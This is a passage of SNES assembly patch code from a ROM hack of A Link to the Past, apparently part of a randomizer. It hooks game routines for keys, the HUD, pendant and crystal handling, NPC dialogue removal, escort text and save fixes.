$05EDDF ; <- 2EDDF - sprite_zelda.asm:398 - (LDA.b #$02 : STA $7EF3C5)\nJSL.l EndRainState : NOP #2\n;--------------------------------------------------------------------------------\norg $05DF49 ; <- 2DF49 - sprite_uncle_and_priest.asm:984 - (JSL Link_ReceiveItem)\nJSL.l OnUncleItemGet\n;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; Generic Keys\n; ;--------------------------------------------------------------------------------\n; org $028157 ; <- 10157 - Bank02.asm:381 - (LDA $040C : CMP.b #$FF : BEQ .notPalace)\n; JSL.l CheckKeys : NOP\n; ;--------------------------------------------------------------------------------\n; org $028166 ; <- 10166 - Bank02.asm:396 - (LDA $7EF37C, X)\n; JSL.l LoadKeys\n; ;--------------------------------------------------------------------------------\n; org $029A31 ; <- 11A31 - Bank02.asm:4785 - (LDA $7EF37C, X)\n; JSL.l LoadKeys\n; ;--------------------------------------------------------------------------------\n; org $02A0D1 ; <- 120D1 - Bank02.asm:5841 - (STA $7EF37C, X)\n; JSL.l SaveKeys\n; ;--------------------------------------------------------------------------------\n; org $09F584 ; <- 4F584 - module_death.asm:447 - (STA $7EF37C, X)\n; JSL.l SaveKeys\n; ;--------------------------------------------------------------------------------\n; org $0282EC ; <- 102EC - Bank02.asm:650 - (STA $7EF36F)\n; JSL.l ClearOWKeys\n;--------------------------------------------------------------------------------\norg $0DFA80 ; <- 6FA80 : headsup_display.asm:596 - (LDA.b #$00 : STA $7EC017)\nJSL.l HUDRebuildIndoor : NOP #4\n;--------------------------------------------------------------------------------\norg $029A35 ; <- 11A35 : Bank02.asm:4789 - (JSL HUD.RebuildIndoor.palace)\nJSL.l HUDRebuildIndoorHole\n;--------------------------------------------------------------------------------\norg $0DFCEC ; <- 6FCEC : headsup_display.asm:887 - (LDA.w #$007F : STA $05)\nLDA.w #$7F7F : STA $04 ; Have both key digits default to blank\n\norg $0DFD02 ; <- 6FD02 ; headsup_display.asm:900 - (LDA $05 : AND.w #$00FF : ORA.w #$2400 : STA $7EC764)\nJSL.l DrawKeyIcon : NOP #8\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Pendant \/ Crystal Fixes\n;--------------------------------------------------------------------------------\n;org $0DE9C8 ; <- 6E9C8 - original check for agahnim 1 being defeated\n;;LDA $7EF3CA : CMP.b #$40 ; check for dark world instead\n;JSL.l CheckPendantHUD\n;NOP #2\n;================================================================================\norg $0DE9C8 ; <- 6E9C8 - equipment.asm:1623 - (LDA $7EF3C5 : CMP.b #$03 : BCC .beforeAgahnim)\nJSL.l DrawPendantCrystalDiagram : RTS\n;NOP #11\n;================================================================================\norg $0DEDCC ; <- 6EDCC - equipment.asm:2043 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BNE .inSpecificDungeon)\nJSL.l ShowDungeonItems : NOP #5\n\norg $0DEE59 ; <- 6EE59 - equipment.asm:2126 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace)\nJSL.l ShowDungeonItems : NOP #5\n\norg $0DEE8A ; <- 6EE8A - equipment.asm:2151 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalaceAgain)\nJSL.l ShowDungeonItems : NOP #5\n\norg $0DEF3B ; <- 6EF3B - equipment.asm:2290 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace)\nJSL.l ShowDungeonItems : NOP #5\n;================================================================================\norg $0DEA5F ; <- 6EA5F - equipment.asm:1679 - (SEP #$30)\n;NOP #5\n;BRL .skipCrystalInit\n;org $0DEAA4 ; <- 6EAA4 - equipment.asm:1706 - (LDA $7EF37A : AND.w #$0001)\n;.skipCrystalInit\n;================================================================================\norg $0DE9D8 ; <- 6E9D8 - equipment.asm:1635 - (LDA $E860, X : STA $12EA, X)\norg $0DEA15 ; <- 6EA15 - equipment.asm:1647 - (LDA.w #$13B2 : STA $00)\n;================================================================================\norg $00F97E ; <- 797E - Bank00.asm:8586 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA)\nJSL.l FlipLWDWFlag : NOP #6\n;================================================================================\norg $02B162 ; <- 13162 - Bank02.asm:7672 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA)\nJSL.l IncrementOWMirror\nJSL.l FlipLWDWFlag\nNOP #2\n;================================================================================\n;Clear level to open doors\norg $01C50D ; 0xC50D - Bank01.asm:10032 - (LDA $7EF3CA : BNE .inDarkWorld)\nLDA CrystalPendantFlags_2, X\n;================================================================================\n;Kill enemy to clear level\norg $01C715 ; <- C715 - Bank01.asm:10358 - (LDA $7EF3CA : BNE .inDarkWorld)\nLDA CrystalPendantFlags_2, X\n;JSL.l GetPendantCrystalWorld\n;================================================================================\n;org $0AC5C3 ; <- 545C3 - Bank0A.asm:1859 - (LDA $7EF374 : AND $0AC5A6, X : BEQ .fail)\n;NOP #10\n;CLC\n;================================================================================\norg $0AC5BB ; < 545BB - Bank0A.asm:1856 - (LDA $7EF3C7 : CMP.b #$03 : BNE .fail)\nJSL.l OverworldMap_CheckObject : RTS\norg $0AC5D8 ; < 545D8 - Bank0A.asm:1885 - (LDA $7EF3C7 : CMP.b #$07 : BNE OverworldMap_CheckPendant_fail)\nJSL.l OverworldMap_CheckObject : RTS\n;================================================================================\norg $0AC012 ; <- 54012 - Bank0A.asm:1039 - (LDA $7EF2DB)\nJSL.l OnLoadMap\n;================================================================================\norg $0AC53e ; <- 5453E - Bank0A.asm:1771 - (LDA $0AC50D, X : STA $0D)\nJSL.l GetCrystalNumber\n;================================================================================\n; EVERY INSTANCE OF STA $7EF3C7 IN THE ENTIRE CODEBASE\norg $029D51 ; <- 11D51\nJSL.l SetLWDWMap\norg $0589BB ; <- 289BB\nJSL.l SetLWDWMap\norg $05DD9A ; <- 2DD9A\nJSL.l SetLWDWMap\n\norg $05F1F6 ; <- 2F1F6\nJSL.l SetLWDWMap\norg $05F209 ; <- 2F209\nJSL.l SetLWDWMap\norg $05FF91 ; <- 2FF91\nJSL.l SetLWDWMap\n\norg $098687 ; <- 48687\nJSL.l SetLWDWMap\norg $1ECEDD ; <- F4EDD\nJSL.l SetLWDWMap\norg $1ECF0D ; <- F4F0D\nJSL.l SetLWDWMap\n;================================================================================\n; EVERY INSTANCE OF LDA $7EF3C7 IN THE ENTIRE CODEBASE\norg $05DDFE ; <- 2DDFE\nJSL.l GetMapMode\norg $05EE25 ; <- 2EE25\nJSL.l GetMapMode\norg $05F17D ; <- 2F17D\nJSL.l GetMapMode\norg $05FF7D ; <- 2FF7D\nJSL.l GetMapMode\n\norg $0AC01A ; <- 5401A\nJSL.l GetMapMode\norg $0AC037 ; <- 54037\nJSL.l GetMapMode\norg $0AC079 ; <- 54079\nJSL.l GetMapMode\norg $0AC0B8 ; <- 540B8 x\nJSL.l GetMapMode\norg $0AC0F8 ; <- 540F8\nJSL.l GetMapMode\norg $0AC137 ; <- 54137\nJSL.l GetMapMode\norg $0AC179 ; <- 54179\nJSL.l GetMapMode\norg $0AC1B3 ; <- 541B3\nJSL.l GetMapMode\norg $0AC1F5 ; <- 541F5\nJSL.l GetMapMode\norg $0AC22F ; <- 5422F\nJSL.l GetMapMode\norg $0AC271 ; <- 54271\nJSL.l GetMapMode\norg $0AC2AB ; <- 542AB\nJSL.l GetMapMode\norg $0AC2ED ; <- 542ED\nJSL.l GetMapMode\norg $0AC327 ; <- 54327\nJSL.l GetMapMode\norg $0AC369 ; <- 54369\nJSL.l GetMapMode\n\norg $0DC849 ; <- 6C849\nJSL.l GetMapMode\n;================================================================================\norg $0AC012 ; <- 54012 - Bank0A.asm:1039 (LDA $7EF2DB : AND.b #$20 : BNE BRANCH_DELTA)\nNOP #8\n;================================================================================\norg $028B8F ; <- 10B8F - Bank02.asm:2236 (LDA $7EF374 : LSR A : BCS BRANCH_BETA)\nJSL.l CheckHeraObject : BNE + : NOP\nLDX.b #$F1 : STX $012C\n+\n;================================================================================\norg $029090 ; <- 11090 - Bank02.asm:3099 (LDA $7EF374 : LSR A : BCS BRANCH_GAMMA)\nJSL.l CheckHeraObject : BNE + : NOP\nSTX $012C ; DON'T MOVE THIS FORWARD OR MADNESS AWAITS\n+\n;================================================================================\norg $029798 ; <- 11798 - Bank02.asm:4287 (CMP $02895C, X : BNE BRANCH_ALPHA)\nNOP #6 ; remove crystal room cutscene check that causes softlocks\n;================================================================================\n\n; ;================================================================================\n; ; Text Changes\n; ;--------------------------------------------------------------------------------\n; ;org $06C7D3 ; <- 347D3 - sprite_ponds.asm:720 (LDA.b #$8A)\n; ;JSL.l DialogFairyThrow\n; ;--------------------------------------------------------------------------------\norg $06C7BB ; <- 347BB - sprite_ponds.asm:702 (JSL Sprite_ShowMessageFromPlayerContact : BCC BRANCH_ALPHA)\nJSL.l FairyPond_Init\n; ;--------------------------------------------------------------------------------\norg $06C9C0 ; <- 349C0 - sprite_ponds.asm:1068 (JSL Link_ReceiveItem)\nJSL.l FairyPond_PreventReplacement\n; ;--------------------------------------------------------------------------------\norg $08C5ED ; <- 445ED - ancilla_receive_item.asm:395 (STA $1CF0 : CMP.w #$0070 : BNE .notGeezerSpeech)\nNOP #3\n; ;--------------------------------------------------------------------------------\n; org $02A005 ; <- 12005 - Bank02.asm:5667 (JSL Main_ShowTextMessage)\n; JSL.l DialogTriforce : NOP #4\n; ;--------------------------------------------------------------------------------\n; org $1D92EC ; <- E92EC - sprite_ganon.asm:947 (JSL Sprite_ShowMessageMinimal)\n; JSL.l DialogGanon1\n; ;--------------------------------------------------------------------------------\n; org $1D9078 ; <- E9078 - sprite_ganon.asm:552 (LDA.b #$70 : STA $1CF0)\n; JSL.l DialogGanon2 : RTS\n; ;--------------------------------------------------------------------------------\n; org $1DA4EC ; <- EA4EC - sprite_blind_entities.asm:845 (JSL Sprite_ShowMessageMinimal)\n; JSL.l DialogBlind\n; ;--------------------------------------------------------------------------------\n; org $06C94C ; <- 3494C - sprite_ponds.asm:970 (JSL Sprite_ShowMessageUnconditional)\n; JSL.l DialogPyramidFairy\n; ;--------------------------------------------------------------------------------\norg $06C454 ; <- 34454 - sprite_ponds.asm:133 (LDA $0D80, X)\nLDA.b #$00 : NOP\n; ;--------------------------------------------------------------------------------\n; ;-- Sahasrahla (no green pendant)\n; org $05F16C ; <- 2F16C sprite_elder.asm:137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n; ;--------------------------------------------------------------------------------\n; ;-- Sahasrahla (have boots)\n; org $05F1A8 ; <- 2F1A8 sprite_elder.asm:170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n; ;--------------------------------------------------------------------------------\n; ;-- Sahasrahla (have boots, have ice rod)\n; org $05F1BC ; <- 2F1BC sprite_elder.asm:182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n; ;--------------------------------------------------------------------------------\n; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants)\n; org $05F1CE ; <- 2F1CE sprite_elder.asm:194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n; ;--------------------------------------------------------------------------------\n; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants, have master sword)\n; org $05F1D8 ; <- 2F1D8 sprite_elder.asm:204 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n; ;--------------------------------------------------------------------------------\n; ;-- drinking guy\n; org $1EF61C ; <- F761C sprite_drinking_guy.asm:29 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n; ;================================================================================\n\n;================================================================================\n; Text Removal\n;--------------------------------------------------------------------------------\n;-- Music restarting at zelda fix\norg $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C)\nNOP #5\n;--------------------------------------------------------------------------------\norg $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220\nJML.l MaidenCrystalScript\n;--------------------------------------------------------------------------------\norg $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense\nJML.l SkipCrystalPalette\norg $1ECD39\nSkipCrystalPalette:\n;--------------------------------------------------------------------------------\norg $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89\n!MS_GOT = \"$7F5031\"\nLDA #$40 : STA !MS_GOT\n;;NOP #6 ; don't set master sword follower\n;--------------------------------------------------------------------------------\norg $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408\nNOP #4\n;--------------------------------------------------------------------------------\norg $1ED467 ; <- F5467 - sprite_agahnim.asm : 202\nNOP #4\n;--------------------------------------------------------------------------------\norg $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328\nNOP #4\n;--------------------------------------------------------------------------------\n;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage)\n;NOP #4\n;--------------------------------------------------------------------------------\norg $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text)\nSTZ $11\nNOP #2\n;--------------------------------------------------------------------------------\n;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA)\n;db $80 ; BRA\n;--------------------------------------------------------------------------------\norg $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage)\nNOP #4\n;--------------------------------------------------------------------------------\norg $029CF0 ; <- 11CF0 - Bank02.asm : 5266\nSTZ $11\nNOP #2\n;--------------------------------------------------------------------------------\norg $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;--------------------------------------------------------------------------------\norg $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;--------------------------------------------------------------------------------\n;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n; ;-- Old mountain man healing text\n; org $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; ;--------------------------------------------------------------------------------\n; ;-- Priest healing text\n; org $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; ;--------------------------------------------------------------------------------\n; ;-- zelda's heal text\n; org $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; ;--------------------------------------------------------------------------------\n;-- zelda in jail\norg $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional)\nSTZ $1CE8 : NOP\norg $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------\n;-- sanctuary\norg $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional)\nSTZ $1CE8 : NOP\norg $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------\n;-- Sick Kid\norg $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------\n;-- Hobo\norg $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional)\nNop #4\n;----------------------------------------------------------\n;-- Sahasrahla\n;org $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - \"Blah blah blah, take the boots\"\n;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - \"Gave you the boots but I'm not doing talking yet\"\nNOP #4\norg $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Shopkeepers\norg $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem)\nNOP #8\n;----------------------------------------------------------\n;-- Bomb shop guy (buying small bombs, and buying big bomb)\norg $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;-- Text hook for the actual npc\n;org $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n;----------------------------------------------------------\n;-- Catfish\norg $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal)\nNOP #4\n;----------------------------------------------------\n;-- King Zora\norg $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal)\nSTZ $1CE8 : NOP\n;----------------------------------------------------\n;-- Before Agah 1 fight\norg $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal)\nNOP #4\norg $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal)\nNOP #4\n;----------------------------------------------------\n;-- Blind Maiden (in jail)\n;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)\n;NOP #4\n;----------------------------------------------------\n;-- Blind (Maiden) in Jail\n;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)\n;JSL Sprite_ShowMessageFromPlayerContact_Edit\n;----------------------------------------------------\n;-- Kiki\norg $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees\nSTZ $1CE8 : NOP\norg $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees\nNOP #4\norg $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees\nSTZ $1CE8 : NOP\norg $1EE523 ; <- F6523 sprite_kiki.asm : 373 kiki will open door\nNOP #4\n\n;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees\n;NOP #4\n;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees\n;NOP #4\n;----------------------------------------------------\n;-- Witch\norg $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\nNOP #4\n;----------------------------------------------------\n;-- Breaking Ganon's Tower Seal\norg $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage)\nNOP #4\n;----------------------------------------------------\n;-- Bombos tablet\n;org $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional)\n;JSL.l DialogBombosTablet\n;----------------------------------------------------\n;-- Ether tablet\n;org $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional)\n;JSL.l DialogEtherTablet\n;----------------------------------------------------\n;-- Agahnim 1 Defeated\norg $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal)\nJSL.l AddInventory_incrementBossSwordLong\n;NOP #4\n; ;----------------------------------------------------\n; ;-- Old Mountain Man Encounter Text\n; org $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact)\n; JSL Sprite_ShowMessageFromPlayerContact_Edit\n\n; org $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong)\n; JML OldMountainMan_TransitionFromTagalong_Edit\n; ;----------------------------------------------------------\n; ;-- Purple Chest Encounter Text\n; org $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch)\n; JSL Sprite_ShowMessageFromPlayerContact_Edit\n; ;----------------------------------------------------------\n; ;-- Middle aged man opens purple chest\n; org $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return)\n; JSL Sprite_ShowMessageFromPlayerContact_Edit\n; ;----------------------------------------------------------\n;-- Smiths\n;-- Ribbit\n; org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n\n; ;-- Ask us to do anything\n; org $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n\n; ;-- Your sword is tempered!\n; org $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n\n;-- Brought dwarf home\norg $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n\n;-- 10 rupees to temper\norg $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n\n;-- Yes, I'm sure\norg $06B495 ; <- 33495 sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n\n;-- We'll take your sword\norg $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional)\nJSL ItemSet_SmithSword\n;NOP #4\n\n;-- Smiths can't make your sword any stronger\norg $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Not enough magic text\norg $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage)\nNOP #4\n;----------------------------------------------------------\n; ;-- Witch's Assistant\n; org $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; org $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; ;----------------------------------------------------------\n; ;-- Bottle Vendor\n; org $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_converse)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; org $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional)\n; NOP #4\n; ;----------------------------------------------------------\n; ;-- Digging Game Guy\n; org $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; org $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional)\n; NOP #4\n; ;----------------------------------------------------------\n; ;-- Flute Boy\n; org $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; org $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional)\n; NOP #4\n; ;----------------------------------------------------------\n; ;-- 300 rupee npcs\n; org $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n; ;----------------------------------------------------------\n; ;-- Chest Game Guy\n; org $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA)\n; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Desert Palace plaque (opening desert with book)\norg $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n; ;----------------------------------------------------------\n; ;-- Uncle gives sword\n; org $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2)\n; JSL Sprite_ShowMessageFromPlayerContact_Edit\n; ;----------------------------------------------------------\n\n;===================================\n;-- Escort Text\n;-- dw coordinate, coordinate, flag, text message number, tagalong number\n;===================================\norg $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1)\ndw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text\ndw $1E58, $02F0, $0002, $0098, $00F0 ; Old man \"dead end\" (when you run to the pot)\ndw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man \"turn right here\"\ndw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda \"there's a secret passage\"\ndw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda \"there's a secret passage\"\ndw $0C78, $0238, $0004, $001F, $00F0 ; Zelda \"there's a secret passage\"\ndw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda \"we can push this\"\ndw $0178, $0550, $0001, $0021, $00F0 ; Zelda \"pull the lever\"\ndw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary\ndw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) \"don't take me outside!\"\ndw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) \"don't take me outside!\"\ndw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room\n;----------------------------------------------------------\n;----------------------------------------------------------\n;-- Speed up Walls (Desert, Mire, and Palace of Darkness)\n; org $01CA66 ; <- CA66 Bank01.asm : 10864 - (LDA.w #$2200 : ADD $041C : STA $041C)\n; LDA.w #$4400 ; #$2200 is the normal speed, $#FF00 is max.\n;----------------------------------------------------------\n;-- Hobo gives item faster\n; org $06BE3A ; <- 33E3A sprite_hobo.asm : 90 - (db 6, 2, 6, 6, 2, 100, 30)\n; db 6, 2, 6, 6, 2, 6, 30\n;----------------------------------------------------------\n;-- Sick kid gives item faster\n; org $06B9A1 ; <- 339A1 sprite_bug_net_kid : 62 - (db 8, 12, 8, 12, 8, 96, 16)\n; db 8, 12, 8, 12, 8, 32, 16\n;----------------------------------------------------------\n\n;================================================================================\n; Ganon Fixes\n;--------------------------------------------------------------------------------\n;org $1D91E3 ; <- E91E3 - sprite_ganon.asm : 778\n;JSL.l GanonWarpRNG\n;NOP #2\n;LDA #$00 : NOP #4\n;--------------------------------------------------------------------------------\n\n; Hook end of Z3 save routine and save SM items\/checksum\n; Has to be at the end of the routine or NMI will disrupt the saving routine\norg $0089be\n\tjml zelda_save_done_hook\n\n;================================================================================\n; Dark World Spawn Location Fix & Follower Fixes\n;--------------------------------------------------------------------------------\norg $00894A ; <- 94A\nPHB : JSL.l DarkWorldSaveFix\n;--------------------------------------------------------------------------------\norg $0CCF05 ; <- 64F05\nJSL.l DarkWorldLoadFix\nNOP #7\n;--------------------------------------------------------------------------------\norg $09F520 ; <- 4F520 - module_death.asm : 401 (LDA $7EF3C5 : CMP.b #$03 : BCS BRANCH_THETA)\nJSL.l OnPlayerDead\nJSL.l IncrementDeathCounter\nNOP #4\nNOP 